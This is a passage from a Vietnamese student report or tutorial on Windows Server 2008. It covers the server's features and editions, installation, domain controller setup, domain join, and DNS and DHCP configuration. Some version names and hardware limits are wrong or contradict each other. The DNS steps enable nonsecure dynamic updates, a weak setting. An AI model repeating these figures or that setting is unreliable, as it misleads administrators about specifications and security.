thiết.
Trong một văn phòng của 10 người hoặc ít hơn, hệ thống có thể được duy trì
riêng. Bất cứ điều gì nhiều hơn thế, tuy nhiên, có thể trở thành một gánh nặng
thực sự.
Trong những trường hợp này, một gói phần mềm chống virus kết hợp máy trạm
và bảo vệ chống virus máy chủ vào một giải pháp duy nhất có ý nghĩa hơn.
- Sao lưu tập trung: Tất cả các doanh nghiệp nên sao lưu dữ liệu của họ một cách
thường xuyên. Bởi có tất cả các công ty của bạn và dữ liệu nhân viên được lưu
trữ tại một địa điểm, bản sao lưu có thể được thực hiện đáng tin cậy và nhanh
chóng. Vì vậy, bạn sẽ không bao giờ cần phải lo lắng về những dữ liệu được lưu
trữ trên những gì máy trạm như bạn làm trong một mạng peer-to-peer. Ngày nay,
hầu hết các loại phương tiện truyền thông có thể được sử dụng cho mục đích sao
lưu. Ngoài các ổ đĩa truyền thống băng, đĩa CD, DVD, lưu trữ và thậm chí loại bỏ
Network Attached Storage (NAS) thiết bị này là chấp nhận được. Sự lựa chọn
của bạn của phương tiện truyền thông sẽ phụ thuộc vào yêu cầu cụ thể của bạn
sao lưu. Tùy thuộc vào ngân sách của bạn và nhu cầu lưu giữ dữ liệu của bạn, bất
kỳ trong số này sẽ là một giải pháp chấp nhận được. Hãy chắc chắn rằng bạn có ít
nhất một bản sao lưu hàng tuần theo lịch trình, mặc dù hàng ngày sẽ tốt hơn.
10
CHƯƠNG 3:TỔNG QUAN VỀ WINDOWS SERVER 2008
I. GIỚI THIỆU WINDOWS SERVER 2008
Microsoft Windows Server 2008 là thế hệ kế tiếp của hệ điều hành
Windows Server, có thể giúp các chuyên gia công nghệ thông tin có thể kiểm
soát tối đa cơ sở hạ tầng của họ và cung cấp khả năng quản lý và hiệu lực chưa
từng có, là sản phẩm hơn hẳn trong việc đảm bảo độ an toàn, khả năng tin cậy và
môi trường máy chủ vững chắc hơn các phiên bản trước đây.
Windows Server 2008 cung cấp những giá trị mới cho các tổ chức bằng
việc bảo đảm tất cả người dùng đều có thể có được những thành phần bổ sung từ
các dịch vụ từ mạng. Windows Server 2008 cũng cung cấp nhiều tính năng vượt
trội bên trong hệ điều hành và khả năng chuẩn đoán, cho phép các quản trị viên
tăng được thời gian hỗ trợ cho các doanh nghiệp.
Windows Server 2008 được thiết kế để cung cấp cho các tổ chức có được nền
tảng sản xuất tốt nhất cho ứng dụng, mạng và các dịch vụ web từ nhóm làm việc
đến những trung tâm dữ liệu với tính năng động, tính năng mới có giá trị và
những cải thiện mạnh mẽ cho hệ điều hành cơ bản.
Cải thiện hệ điều hành cho máy chủ Windows.Thêm vào tính năng mới,
Windows Server 2008 cung cấp nhiều cải thiệm tốt hơn cho hệ điều hành cơ bản
so với hệ điều hành Windows Server 2003.
Những cải thiện có thể thấy được gồm có các vấn đề về mạng, các tính
năng bảo mật nâng cao, truy cập ứng dụng từ xa, quản lý role máy chủ tập trung,
các công cụ kiểm tra độ tin cậy và hiệu suất, nhóm chuyển đổi dự phòng, sự triển
khai và hệ thống file
11
II. CÁC TÍNH NĂNG CỦA WINDOWS SERVER 2008
1. Công cụ quản trị Server Manager
Server Manager là một giao diện điều khiển được thiết kế để tổ chức và
quản lý một server chạy hệ điều hành Windows Server 2008. Người quản trị có
thể sử dụng Server Manager với những nhiều mục đích khác nhau.
- Quản lý đồng nhất trên một server
- Hiển thị trạng thái hiện tại của server
- Nhận ra các vấn đề gặp phải đối với các role đã đƣợc cài đặt một cách dễ dàng
hơn
- Quản lý các role trên server, bao gồm việc thêm và xóa role
- Thêm và xóa bỏ các tính năng
- Chẩn đoán các dấu hiệu bất thường
- Cấu hình server: có 4 công cụ (Task Scheduler, Windows Firewall, Services và
WMI Control).
- Cấu hình sao lưu và lưu trữ: các công cụ giúp bạn sao lưu và quản lý ổ đĩa là
Windows Server Backup và Disk Management đều nằm trên Server Manager.
2. Windows Server Core
- Server Core là một tính năng mới trong Windows Server 2008. Nó cho phép có
thể cài đặt với mục đích hỗ trợ đặc biệt và cụ thể đối với một số role.
- Tất cả các tương tác với Server Core được thông qua các dòng lệnh.
Server Core mang lại những lợi ích sau:
+Giảm thiểu được phần mềm, vì thế việc sử dụng dung lượng ổ đĩa cũng được
giảm. Chỉ tốn khoảng 1GB khi cài đặt.
+ Bởi vì giảm thiểu được phần mềm nên việc cập nhật cũng không nhiều.
+ Giảm thiểu tối đa những hành vi xâm nhập vào hệ thống thông qua các port
được mở mặc định.
+ Dễ dàng quản lý.
- Server Core không bao gồm tất cả các tính năng có sẵn trong những phiên bản
cài đặt Server khác. Ví dụ như .NET Framework hoặc Internet Explorer.
12
3. PowerShell
- PowerShell là một tập hợp lệnh. Nó kết nối những dòng lệnh shell với một ngôn
ngữ script và thêm vào đó hơn 130 công cụ dòng lệnh(được gọi là cmdlets).Hiện
tại, có thể sử dụng PowerShell trong:
+ Exchange Server
+ SQL Server
+ Terminal Services
+ Active Directory Domain Services.
+ Quản trị các dịch vụ, xử lý và registry.
- Mặc định, Windows PowerShell chưa được cài đặt. Tuy nhiên bạn có thể cài đặt
nó một cách dễ dàng bằng cách sử dụng công cụ quản trị Server Manager và chọn
Features > Add Features
4. Windows Deloyment Services.
- Windows Deployment Services được tích hợp trong Windows Server 2008 cho
phép bạn cài đặt hệ điều hành từ xa cho các máy client mà không cần phải cài đặt
trực tiếp. WDS cho phép bạn cài đặt từ xa thông qua Image lấy từ DVD cài đặt.
Ngoài ra, WDS còn hỗ trợ tạo Image từ 1 máy tính đã cài đặt sẵn Windows và
đầy đủ các ứng dụng khác.
- Windows Deployment Serviece sử dụng định dạng Windows Image (WIM).
Một cải tiến đặc biệt với WIM so với RIS là WIM có thể làm việc tốt với nhiều
nền tảng phần cứng khác nhau.
5. Terminal Services.
- Terminal Services là một thành phần chính trên Windows Server 2009 cho phép
user có thể truy cập vào server để sử dụng những phần mềm.
- Terminal Services giúp người quản trị triển khai và bảo trì hệ thống phần mềm
trong doanh nghiệp một cách hiệu quả. Người quản trị có thể cài đặt các chương
trình phần mềm lên Terminal Server mà không cần cài đặt trên hệ thống máy
client, vì thế việc cập nhật và bảo trì phần mềm trở nên dễ dàng hơn.
- Terminal Services cung cấp 2 sự khác biệt cho người quản trị và người dùng
cuối - Dành cho người quản trị: cho phép quản trị có thể kết nối từ xa hệ thống
quản trị bằng việc sử dụng Remote Desktop Connection hoặc Remote Desktop.
13
- Dành cho người dùng cuối: cho phép người dùng cuối có thể chạy các chương
trình từ Terminal Services server.
6. Network Access Protection
- Network Access Protection (NAP) là một hệ thống chính sách thi hành
(Health Policy Enforcement) được xây dựng trong các hệ điều hành Windows
Server 2008.
- Cơ chế thực thi của NAP:
+ Kiểm tra tình trạng an toàn của client.
+ Giới hạn truy cập đối với các máy client không an toàn.
+ NAP sẽ cập nhật những thành phần cần thiết cho các máy client không an toàn,
cho đến khi client đủ điều kiện an toàn.Cho phép client kết nối nếu client đã thỏa
điều kiện.
+ NAP giúp bảo vệ hệ thống mạng từ các client.
+ NAP cung cấp bộ thư viên API (Application Programming Interface), cho phép
các nhà
quản trị lập trình nhằm tăng tính bảo mật cho mình
7. Read-Only Domain Controllers
Read-Only Domain Controller (RODC) là một kiểu Domain Controller
mới trên Windows Server 2008.Với RODC, doanh nghiệp có thể dễ dàng triển
khai các Domain Controller ở những nơi mà sự bảo mật không được đảm bảo về
bảo mật. RODC là một phần dữ liệu của Active Directory Domain Services.
Vì RODC là một phần dữ liệu của ADDS nên nó lưu trữ mọi đối tượng,
thuộc tính và các chính sách giống như domain controller, tuy nhiên mật khẩu thì
bị ngoại trừ.
8. Công nghệ Failover Clustering.
Clustering là công nghệ cho phép sử dụng hai hay nhiều server kết hợp với
nhau để tạo thành một cụm server để tăng cường tính ổn định trong vận hành.Nếu
server này ngưng hoạt động thì server khác trong cụm sẽ đảm nhận nhiệm vụ mà
server ngưng hoạt động đó đang thực hiện nhằm mục đích hoạt động của hệ
thống vẫn bình thường.Quá trình chuyên giao gọi là fail-over.
Những phiên bản sau hỗ trợ:
 Windows Server 2008 Enterprise
14
 Windows Server 2008 Datacenter
 Windows Server 2008 Itanium
9. Windows Firewall with Advance Security
 Windows Firewall with Advance Security cho phép người quản trị có thể cấu
hình đa dạng và nâng cao để tăng cường tính bảo mật cho hệ thống.
 Windows Firewall with Advance Security có những điểm mới:
 Kiểm soát chặt chẽ các kết nối vào và ra trên hệ thống (inbound và outbound)
 IPsec được thay thế bằng khái niệm Connection Security Rule, giúp bạn có thể
kiểm soát và quản lý các chính sách, đồng thời giám sát trên firewall. Kết hợp với
Active Directory.
 Hỗ trợ đầy đủ IPv6.
III. MỘT SỐ TÍNH NĂNG MỚI CỦA WINDOWS SERVER 2008
1. Công nghệ ảo hóa Hyper-V
Hyper-V là công nghệ ảo hóa server thế hệ mới của Microsoft, sự thay đổi
lớn nhất mà Microsoft mang lại so với phiên bản Windows Server 2003. Hyper-V
hoạt động trên nền hệ điều hành 64-bit. Với Hyper-V,người sử dụng có thể sở
hữu một nền tảng ảo hóa linh hoạt, bảo mật, tối đa hiệu suất và tiết kiệm chi phí:
 Hyper-V có thể thích nghi với doanh nghiệp lớn với hàng nghìn máy tính hoặc
các doanh nghiệp nhỏ hay văn phòng chi nhánh. Hyper-V hỗ trợ bộ nhớ ảo lên
đến 64GB, đa bộ vi xử lý.
 Khả năng bảo mật giống như các server vật lý. Kết hợp các cộng cụ bảo mật
Windows Firewall, Network Access Protection…
do đó tính bảo mật tốt như môi trường thật.
 Hyper-V giúp khai thác tối đa hiệu suất sử dụng phần cứng server. Bằng việc hợp
nhất server, cho phép một server vật lý có thể đóng nhiều vai trò của nhiều
server. Từ đó, tiết kiệm được chi phí từ các khoảng mua server, điện, không gian
và bảo trì.
Hyper-V chỉ có thể hỗ trợ đến 32 bộ vi xử lý.
2. Processor Compatibility Mode
Cho phép di trú các máy ảo sang một máy chủ vật lý khác với một phiên
bản CPU khác (nhưng không phải là CPU của nhà sản xuất khác). Trước đây, để
15
chuyển một máy ảo Hyper-V sang một phần cứng khác, các CPU phải giống
nhau, điều đó yêu cầu người dùng thường phải mua lại phần cứng mới.
3. File Classification Infrastructure
FCI là một tính năng built-in cho phép các chuyên gia CNTT phân loại và
quản lý dữ liệu trong các máy chủ file. Dữ liệu có thể được phân loại với tác động
doanh nghiệp mức thấp, cao hoặc trung bình, sau đó người dùng có thể backup
các dữ liệu quan trọng nhất dễ dàng hơn và hiệu quả hơn.
4. Quản lý trong ỗ đĩa và file:
 Cung cấp khả năng thay đổi kich thước phân vùng.
 Shadow Copy hỗ trợ ổ đĩa quang, ổ đĩa mạng.
 Distributed File System được cải tiến.
 Cải tiến Failover Clustering.
 Internet Storage Naming Server cho phép đăng ký, hủy đăng ký tập trung và truy
xuất tới các ổ đĩa cứng iSCS.
5. Cải tiến giao thức và mã hóa
o Hỗ trợ mã hóa 128 và 256 bit cho giao thức chứng thực Keberos.
o Hàm API mã hóa mới hỗ trợ mã hóa vòng elip và cải tiến quản lý chứng chỉ.
o Giao thức VPN mới Secure Socket Tunneling Protocol.
o AuthIP được sử dụng trong mạng VPN Ipsec.
o Giao thức Server Message Block 2.0 cung cấp các cải tiến trong truyền thông.
6. Một số tính năng khác
 Windows Deployment Services thay thế cho Automated Deployment Services và
Remote Installation Services.
 IIS 7 thay thế IIS 6, tăng cường khả năng bảo mật, cải tiến công cụ chuẩn đoán,
hỗ trợ quản lý.
 Có thành phầ "Desktop Experience" cung cấp khả năng cải tiến giao diện.
IV. CÁC LỢI ÍCH CỦA WINDOWS SERVER 2008
Windows Server 2008 mang đến lợi ích trong bốn lĩnh vực:Web, Ảo hóa,
Bảo mật, Nền tảng vững chắc cho các hoạt động của tổ chức
16
1. Web
Windows Server 2008 cung cấp một nền tảng đồng nhất để triển khai dịch
vụ Web nhờ tích hợp IIS7.0,ASP.NET,Windows Communication Foundation và
Microsoft Windows SharePoint Services.
Lợi ich của IIS 7.0:
 Tinh năng phân tích
 Quản trị hiệu quả.
 Nâng cao tính bảo mật.
 Giảm chi phí hỗ trợ.
 Giao diện thân thiện và tiện dụng
 Hỗ trợ việc sao chép giữa các site.
 Copy dễ dàng các thiết lập của trang web giữa các máy chủ web khác nhau mà
không cần phải thiết lập gì thêm.
 Chính sách phân quyền quản trị các ứng dụng và các site rõ ràng
2. Ảo hóa :
Phiên bản 64 bit của Windows Server 2008 được tích hợp sẵn công nghệ
ảo hóa hypervisor :
 Cho phép máy ảo tương tác trực tiếp với phần cứng máy chủ hiệu quả hơn.
 Có khả năng ảo hóa nhiều hệ điều hành khác nhau trên cùng 1 phần cứng máy
chủ sẽ làm giảm chi phí, tăng hiệu suất sử dụng phần cứng, tối ưu hóa hạ tầng,
nâng cao tính sẵn sàng của máy chủ.
 Tiết kiệm chi phí mua sắm bản quyền phần mềm.
 Tich hợp và tập trung các ứng dụng phục vụ cho việc truy cập từ xa một cách dễ
dàng bằng cách sử dụng Terminal Services.
3. Bảo mật:
Các tính năng an ninh bao gồm: Network Access Protection, Read-Only
Domain Controller, BitLocker, Windows Firewall… cung cấp các mức bảo vệ
chưa từng có cho hệ thống mạng, dữ liệu và công việc của tổ chức.
3.1. Network Access Protection (NAP):
 NAP dùng để thiết lập chính sách mạng đối với các máy trạm khi máy trạm đó
muốn kết nối váo hệ thống mạng của tổ chức. Yêu cầu an ninh đối với máy trạm
được kết nối với hệ thống mạng:
17
 Đã cài đặt phầm mềm diệt virus.
 Đã cập nhật phiên bản mới.
 Đã cài đặt các bản và lỗi hệ thống hoặc đã cài đặt phần mềm firewall.
3.2. Read-Only Domain Controller (RODC):
Là một kiểu Domain Controller (DC).
- RODC chứa một bản sao các dữ liệu "chỉ đọc" của dữ liệu Active Directory
(AD).
- User không thẻ ghi trực tiếp vào RODC.
- RODC không chứa thông tin về mật khẩu trong AD, mà chỉ caching các users
được phép sử dụng ở đó.
 RODC thích hợp cho việc triển khai ở các chi nhánh, nơi có điều kiện bảo mật
kém cũng như trình độ của nhân viên IT còn hạn chế.
3.3. BitLocker:
o Bảo vệ an toàn cho máy chủ, máy trạm, máy tính di động.
o Mã hóa nội dung của ổ đĩa nhằm ngăn cản
o Nâng cao khả năng bảo vệ dữ liệu: kết hợp chức năng mã hóa tập tin hệ thống và
kiểm tra tinh toàn vẹn của các thành phần khi boot.
o Toàn bộ tập tin hệ thống được mã hóa, gồm cả file swap và file hibernation.
3.4. Windows Firewall:
 Ngăn chặn các lưu lượng mạng theo cấu hình và các ứng dụng dạng chạy để bảo
vệ mạng khỏi các chương trình và người dùng nguy hiểm.
 Hỗ trợ ngăn chặn các thông tin vào và ra.
 Sử dụng MMC snap-in ( Windows Firewall with Adbanced Security) để đơn giản
hóa việc cấu hình, quản trị.
V. CÁC PHIÊN BẢN CỦA WINDOWS SERVER 2008
1. Windows Server 2008: ứng dụng cho các trung tâm data lớn, ứng dụng
nghiệp vụ riêng,... khả năng mở rộng cao cho tới 64 bộ xử lý.
2. Windows Server 2008 Standard Edition
Windows Server 2008 Standard là một trong những phiên bản ít tốn kém
nhất của các phiên bản khác nhau có sẵn. Windows Server 2008 Stardard hỗ trợ
tới 4GB RAM và 4 bộ vi xử lý
18
Chủ yếu nhắm mục tiêu và các doanh nghiệp vừa và nhỏ. Chỉ có thể nâng
cấp lên Windows Server 2008 Standard từ Windows 2000 Server và Windows
Server 2003 Standard Edition.
3. Windows Server 2008 Enterprise Edition
Windows Server 2008 Enterprise Edition cung cấp chức năng lớn hơn và
có khả năng mở rộng hơn so với bản tiêu chuẩn.
Cũng như phiên bản Standard Edition thì phiên bản Enterprise cũng có cả hai
phiên bản 32-bit và 64-bit. Hỗ trợ 8 bộ xử lý và lên tới 64GB bộ nhớ RAM trên
hệ thống 32-bit và 2TB RAM trên hệ thống 64-bit.
Các tính năng khác của ấn bản Doanh nghiệp bao gồm hỗ trợ Clustering
đến 8 nút và Active Directory Federated Services (AD FS).
Các phiên bản Windows Server 2000, Windows 2000 Advanced Server,
Windows Server 2003 Standard Edition và Windows Server 2003 Enterprise
Edition đều có thể được nâng cấp lên Windows Server 2008 Enterprise Edition.
4. Windows Server 2008 Datacenter Edition
Phiên bản Datacenter đại diện cuối cùng của loạt sản phẩm máy chủ
Windows 2008 và mục tiêu là nhiệm vụ quan trọng đòi hỏi các doanh nghiệp ổn
định và mức độ thời gian hoạt động cao. Windows Server 2008 phiên bản
Datacenter là liên hệ chặt chẽ với các phần cứng cơ bản thông qua việc thực hiện
tùy chỉnh Hardware Abstraction Layer (HAL).
Windows server 2008 Datacenter cũng hỗ trợ hai phiên bản 32 bit và 64
bit. Nó hỗ trợ 64GB bộ nhớ RAM trên nền 32 bit và lên tới 2TB RAM trên nền
64 bít. Ngoài ra phiên bản này còn hỗ trợ tối thiểu là 8 bộ vi xử lý và tối đa là 64.
Để nâng cấp lên phiên bản này thì phải là các phiên bản Datacenter 2000
và 2003.
19
CHƯƠNG 4: CÀI ĐẶT WINDOWS SERVER 2008
I. YÊU CẦU PHẦN CỨNG
Phần cứng Yêu cầu tối thiểu Đề nghị
Bộ vi xử lý 1 Ghz (x86), 1,4 Ghz (x64) 2Ghz hoặc lớn hơn
RAM 512MB RAM 2GB
Dung lượng
trống
15GB 40GB
Windows Server 2008 hỗ trợ cả 2 cấu trúc vi xử lý 32-bit và 64-bit. Tuy
nhiên, phiên bản mới nhất là Windows Server 2008 R2, Windows Midmarket
Server và Windows Small Business với những tính năng đa dịch vụ, các phiên
bản này chỉ hỗ trợ cấu trúc vi xử lý 64-bit.
RAM hỗ trợ tối đa cho hệ thống 32-bit là 4GB khi chạy phiên bản
Standard Edition và 64GB khi chạy phiên bản Enterprise và Datacenter. Nếu
chạy hệ thống 64-bit, bộ nhớ RAM có thể hỗ trợ lên dến 32GB và 2TB RAM
cho phiên bản Enterprise và Datacenter.
Thêm vào đó, Windows Server 2008
hỗ trợ hệ thống Itanium, tuy nhiên chip xử lí Intel Itanium 2 nhân là cần
thiết.
II. CÁC CÁCH CÀI ĐẶT
Có 6 cách cài đặt Windows Server 2008
 Tự cài đặt các nâng cấp
 Cài đặt từ kịch bản
 Sử dụng Sconfig
 Visual Core Configurator 2008
 Cài đặt bằng cách sử dụng Core Configurator 2.0
 Cài đặt trực tiếp từ đĩa CD Windows Server 2008
III. NÂNG CẤP LÊN WINDOWS SERVER 2008
Những phiên bản trước Nâng cấp lên Windows Server 2008
Microsoft Windows Server 2003
R2 Standard, Enterprise hoặc
DatacenterEdition
Hỗ trợ đầy đủ
20
Microsoft Windows Server 2003
Service Pack 1(SP1) Standard,
Enterprise hoặc Datacenter Edition
Hỗ trợ đầy đủ
Microsoft Windows Server 2003
Service Pack 2 (SP2) Standard,
Enterprise hoặc Datacenter Edition
Hỗ trợ đầy đủ
Windows NT 4.0 Không hỗ trợ
Windows 2000 Server Không hỗ trợ
Windows XP Không hỗ trợ
Windows Vista Không hỗ trợ
Windows 7 Không hỗ trợ
Để nâng cấp lên phiên bản Windows Server 2008, cần phải chạy các hệ
điều hành ở cấp độ server. Không thể nâng cấp các phiên bản Windows dành cho
người dùng như Windows XP hoặc Windows Vista lên Windows Server 2008.
Để nâng cấp lên Windows Server 2008, hệ thống của bạn phải
chạy Windows Server 2003. Việc nâng cấp từ Windows NT 4.0 và Windows
2000 Server không được hỗ trợ. Việc nâng cấp từ những phiên bản Windows
Server 2003 lên phiên bản Windows Server 2008 Server Core không được hỗ trợ.
Việc nâng cấp chỉ thực hiện được ở những phiên bản giống nhau. Khi nâng cấp
lên phiên bản Windows Server 2008, mọi cấu hình thiết lập, file và các chương
trình đều được giữ lại
IV. CÀI ĐẶT WINDOWS SERVER 2008
Đặt đĩa CD vào ổ đĩa, khởi động lại máy tính và bắt đầu tiến hành quá trình cài
đặt.
Language to install : ngôn ngữ bạn muốn hiển thị.
Time and currency format : định dạng thời gian và tiền tệ.
21
Keyboard or input method : định dạng bàn phím và phương thức nhập chữ.Sau
khi lựa chọn, click Next để tiếp tục cài đặt. Click Install now để bắt đầu cài đặt.
Hình 1
Lựa chọn phiên bản cài đặt.
Hình 2
Lựa chọn phiên bản Windows Server thích hợp, ở đây chúng ta chọn phiên
bản Windows Server Standard without Hyper-V. Click Next để tiếp tục.
22
Tại bảng MICROSOFT PRE-RELEASE SOFTWARE LICENSE
TERMS là những điều khoản sử dụng sản phẩm của Microsoft. Đánh dấu chọn
vào I accept the license terms để chấp nhận những điều khoản đó và click Next
để tiếp tục.
Hình 3
Chọn Custom (advaneced) để tiến hành cài đặt tùy chọn.
Hình 4
23
Tiếp theo là chọn ổ đĩa để cài dặt Windows. Tiếp tục click Next sau khi đã chọn
ổ đĩa cài đặt.
Hình 5
Đợi cho đến khi hoàn tất cài đặt Windows Server 2008, đây là giao diện windows
server 2008 khi cài xong.
Hình 6
24
CHƯƠNG 5: DỰNG DOMAIN CONTROLLER
Giống như Windows Server 2003 sẽ vẫn cần chạy dcpromo từ nhắc lệnh
Run, tuy nhiên cần phải cài đặt Active Directory Domain Controller role, đầu
tiên bạn cài đặt role, sau đó chạy dcpromo.Vào Server ManagerRolesAdd
Roles
Hình 5.1
Xuất hiện trang Before You Begin, nhấn Next để tiếp tục.
Chọn Active Directory Domain ServicesAdd Required Features để cài đặt
thêm các tính năng này với Active Directory Server Role.
Sau khi chọn Active Directory DC Server Role, bạn sẽ thấy các thông tin về
Server Role.
25
Kích Install để cài đặt các file yêu cầu nhằm chạy dcpromo
Hình 5.2
Cài đặt được thực hiện thành công. Chọn Close.
Hình 5.3
Trong bài này, chúng ta sẽ sử dụng 2 máy.
PC1: Là máy sử dụng Windows Server 2008.
PC2: Là máy sử dụng Client sử dụng Windows 7.
Quá trình cài đặt sẽ trải qua 2 bước chính:
Bước 1: Chỉnh Preferred DNS
- Ở bước này chúng ta sẽ chỉnh Preferred DNS về chính máy tính của chúng ta, ở
đây là ip 192.168.1.1.
26
Hình 5.4
Trong trường hợp giả sử chúng ta quên làm bước này, thì quá trình nâng
cấp vẫn diễn ra bình thường, và Windows sẽ tự chỉnh Preferred DNS về địa chỉ
192.168.1.1 Nhưng tốt nhất các bạn nên làm bước chỉnh này
Bước 2: Nâng cấp lên Domain Controller
- Bạn vào Start-> Chọn Run, gõ dcpromo và Enter, sau đó lần lượt làm theo các
bước sau:
Thao tác này sẽ khởi chạy Welcome to the Active Directory Domain Service
Installation Wizard. Kích Next.
27
Hình 5.5
Sau đó tiếp tục nhấn Next.
Trong trang Choose a Deployment Configuration Create a new domain in
a new forest..
Hình 5.6
28
Trong trang Name the Forest Root Domain, nhập vào tên của miền trong hộp
nhập liệu FQDN of the forest room domain.Nhấn Next để tiếp tục.
Hình 5.7
Nhấn Next để tiếp tục.
Trong trang Set Forest Functional Level, chọn Windows Server 2008. Nhấn
Next để tiếp tục.
Hình 5.8
Trong trang Additional Domain Controller Options, Chọn DNS server và
kích Next.
29
Hình 5.9
Một hộp thoại sẽ xuất hiện nói răng không thể tạo đại biểu cho máy chủ
DNS này vì không thể tìm thấy vùng xác thực hoặc nó không chạy Windows
DNS server. Lý do cho điều này là vì đây là DC đầu tiên trên mạng. Nhấn Next
để tiếp tục.
Hình 5.10
Để lại thư mục Database, Log Files và SYSVOL ,kích Next.
30
Hình 5.11
Trong Directory Service Restore Mode Administrator Password, nhập
một mật khẩu mạnh vào các hộp nhập liệu Password và Confirm password.
Hình 5.12
Xác nhận các thông tin trên trang Summary và kích Next.
31
Hình 5.13
Active Directory sẽ cài đặt. Đặt một dấu kiểm vào hộp chọn Reboot on
completion để máy tính sẽ tự động khởi động lại khi cài đặt DC được hoàn tất.
Hình 5.14
32
CHƯƠNG 6: JOIN DOMAIN
Chỉnh ip của máy Windows 7 sao cho cùng địa chỉ của lớp mà ta đã chọn
ở máy Server. Gateway và DNS trỏ về địa chỉ ip của máy Server.
Hình 6.1
Vào Start click phải computer chọn properties. Chọn computer name -> change
settings-> nhập tên domain của máy server vào.
Hình 6.2
33
Nhập Administrator và pass.
Hình 6.3
Click OK.
Hình 6.4
34
CHƯƠNG 7: TRIỂN KHAI CÁC DỊCH VỤ MẠNG
I. DỊCH VỤ DNS
1. Giới thiệu về DNS
DNS (Domain Name System) Server là máy chủ được dùng để phân giải
domain thành địa chỉ IP và ngược lại. Về cách thức hoạt động, DNS Server lưu
trữ một cơ sở dữ liệu bao gồm các bản ghi DNS và dịch vụ lắng nghe các yêu
cầu.Khi máy client gửi yêu cầu phân giải đến, DNS Server tiến hành tra cứu
trong cơ sở dữ liệu và gửi kết quả tương ứng về máy client.
2. Cài đặt DNS
Vào Server Manager  Roles Add Roles.Tại bảng Select Server Roles, chọn
DNS Server
Hình 2.1
- Sau đó nhấn Next để tiếp tục
- Chọn Instal. Tại bảng Confirm Installation Selections xác nhận việc cài đặt.
35
Hình 2.2
- Chọn Close để hoàn tất cài đặt.
Hình 2.3
3. Cấu hình DNS
- Đối với DNS Server,thông thường nên xây dựng đồng thời hai hệ thống là DNS
Server chính (Primary) và DNS Server dự phòng (Secondary) dùng chung một cơ
sở dữ liệu. Với phương pháp này,sẽ hạn chế khả năng dịch vụ DNS bị ngưng khi
có sự cố xảy ra trên hệ thống.
36
- Vào Start Administrative Tools DNS.
- Nhấp chuột phải vào Forward Lookup Zones và chọn New Zone.
Hình 3.1
-Trong New Zone Wizard chọn next,
- Tại bảng Zone Type chọn Primary zone để cấu hình DNS Server chính.
hình 3.2
- Chọn Next. Tại bảng Zone Name gõ tên domain vào.
37
Hình 3.3
- Chọn Next. Tại bảng Zone File, ta chọn alow both nonsecure and secure
dynamic updates. Chọn Next.
Hình 3.4
38
- Chọn Next. Tại bảng Completing the New Zone Wizard xem lại thông tin.
- Sau đó chọn Finish để hoàn tất.
- Nhấp chuột phải vào ReverseLookup Zones và chọn New Zone.
Hình 3.5
- Tại bảng Welcome to the New Zone Wizard chọn Next.
- Tại bảng Zone Type chọn Primary zone để cấu hình chức năng reverse cho
DNS Server chính.
Hình 3.6
- Chọn Next.Tại bảng Reverse Lookup Zone Name chọn kiểu IP cần phân giải. Ở
đây chọn IPv4.
39
Hình 3.7
- Chọn Next. Điền Network ID và chọn Next.
Hình 3.8
40
- Tại bảng Zone File để mặc định. Chọn Next.
- Tại bảng Dynamic Update chọn Allow both nonsecure dynamic updates.
Hình 3.9
- Chọn Next và xem lại thông tin thiết lập, và sau đó chọn Finish để kết thúc.
Bổ sung các bản ghi DNS vào DNS Server
- Start Administrative Tools DNS. Nhấp chuột phải vào zone và chọn
New
- Gõ tên host vào mục Name, gõ địa chỉ IP vào mục IP address. Nếu muốn tạo ra
một bản ghi DNS phân giải ngược tương ứng thì đánh dấu chọn Create associated
pointer (PTR) record.
41
Hình 3.10
- Sau đó chọn Add Host.Xuất hiện thông báo thành công.
- Tương tự ta tạo thêm new host máy win xp.
Hình 3.11
Kiểm tra bằng cách vào start -> run -> CMD. Cửa sổ CMD hiện lên ta gõ
nslookup.
42
Hình 3.12
II. GIỚI THIỆU DỊCH VỤ DHCP
 Dịch vụ DHCP cho phép chúng ta cấp động các thông số cấu hình mạng cho các
máy trạm.(client).
 Cơ chế sử dụng các thông số mạng được cấp phát động có ưu điểm hơn so với cơ
chế khai báo tĩnh các thông số mạng như:
 Khắc phục được tình trạng đụng địa chỉ IP và giảm chi phí quản trị cho hệ thống
mạng.Giúp cho các nhà cung cấp dịch vụ (ISP) tiết kiệm được số lượng địa chỉ IP
thật (Public IP).Phù hợp cho các máy tính thường xuyên di chuyển qua lại giữa
các mạng.Kết hợp với hệ thống mạng không dây (Wireless) cung cấp các điểm
Hotspot như: nhà ga, sân bay, trường học…
1. Hoạt động của giao thức
Giao thức DHCP làm việc theo mô hình client/server.Khi máy client khởi
động, máy sẽ gửi broadcast gói tin DHCPDISCOVER, yêu cầu một server phục
vụ mình. Gói tin này cũng chứa địa chỉ MAC của máy client.Các máy Server trên
mạng khi nhận được gói tin yêu cầu đó, nếu còn khả năng cung cấp địa chỉ IP,
đều gửi lại cho máy Client gói tin DHCPOFFER, đề nghị cho thuê một địa chỉ IP
trong một khoản thời gian nhất định, kèm theo là một subnet mask và địa chỉ của
Server.
2. Cài đặt trên windows server 2008
- Vào Server Manger  Roles Add Roles.
43
Hình 2.1
Nhấn Nexttrong mục Roles chọn “DHCP Server”. Nhấn Next.
Hình 2.2
Trong bảng này giới thiệu về DHCP và các điểm cần lưu ý Things to Note. Tiếp
tục nhấn Next.
Chọn card mạng sử dụng dịch vụ này ở đây chúng ta chỉ có một card mạng nên
tiếp tục nhấn Next nhấn Next.
44
Hình 2.3
- Trong mục “Parent Domain” điền tên domain và điền IP DNS server ở mục
“Preferred DNS…” và nhấn Validate để kiểm tra và xác nhận tồn tại và tiếp tục
nhấn Next.
Hình 2.4
- Ta chọn next.
45
Hình 2.5
Tiếp tục bấm Next. Trong Bảng Configure DHCPv6 Stateless Mode ta chọn
Disable DHCPv6 stateless mode for this server và bấm Next
Hình 2.6
Xác nhận lại thông tin trước khi cài đặt dịch vụ DHCP. Bấm Install để cài đặt
46
Hình 2.7
- Cài đặt Role hoàn tất, và nhấn Close
3. Cấu hình DHCP
3.1. Tạo Scop
Vào Administrative ToolsDHCP->Nhấn chuột phải vào IPv4 và New Scope
->Hộp thoại New Scope hiện ra và Next.
47
Hình 3.1.1
Hộp thoại Scope Name vàĐiền tên của scope vào mục Name và nhấn Next
Hình 3.1.2
Hộp thoại IP Address Range,điền thông số range IP cấp phát và subnet mask
Next.
48
Hình 3.1.3
Hộp thoại Lease Duration: thời gian thuê địa chỉ IP mặc định là 8 ngày-> Next
Hình 3.1.4
- Hộp thoại Configuration DHCP Options yêu cầu chúng ta cấu hình thông số
dịch vụ của scope ngay bây giờ hoặc để sau. Ở đây ta chọn No, I will configure
these option later và nhấn Next.
49
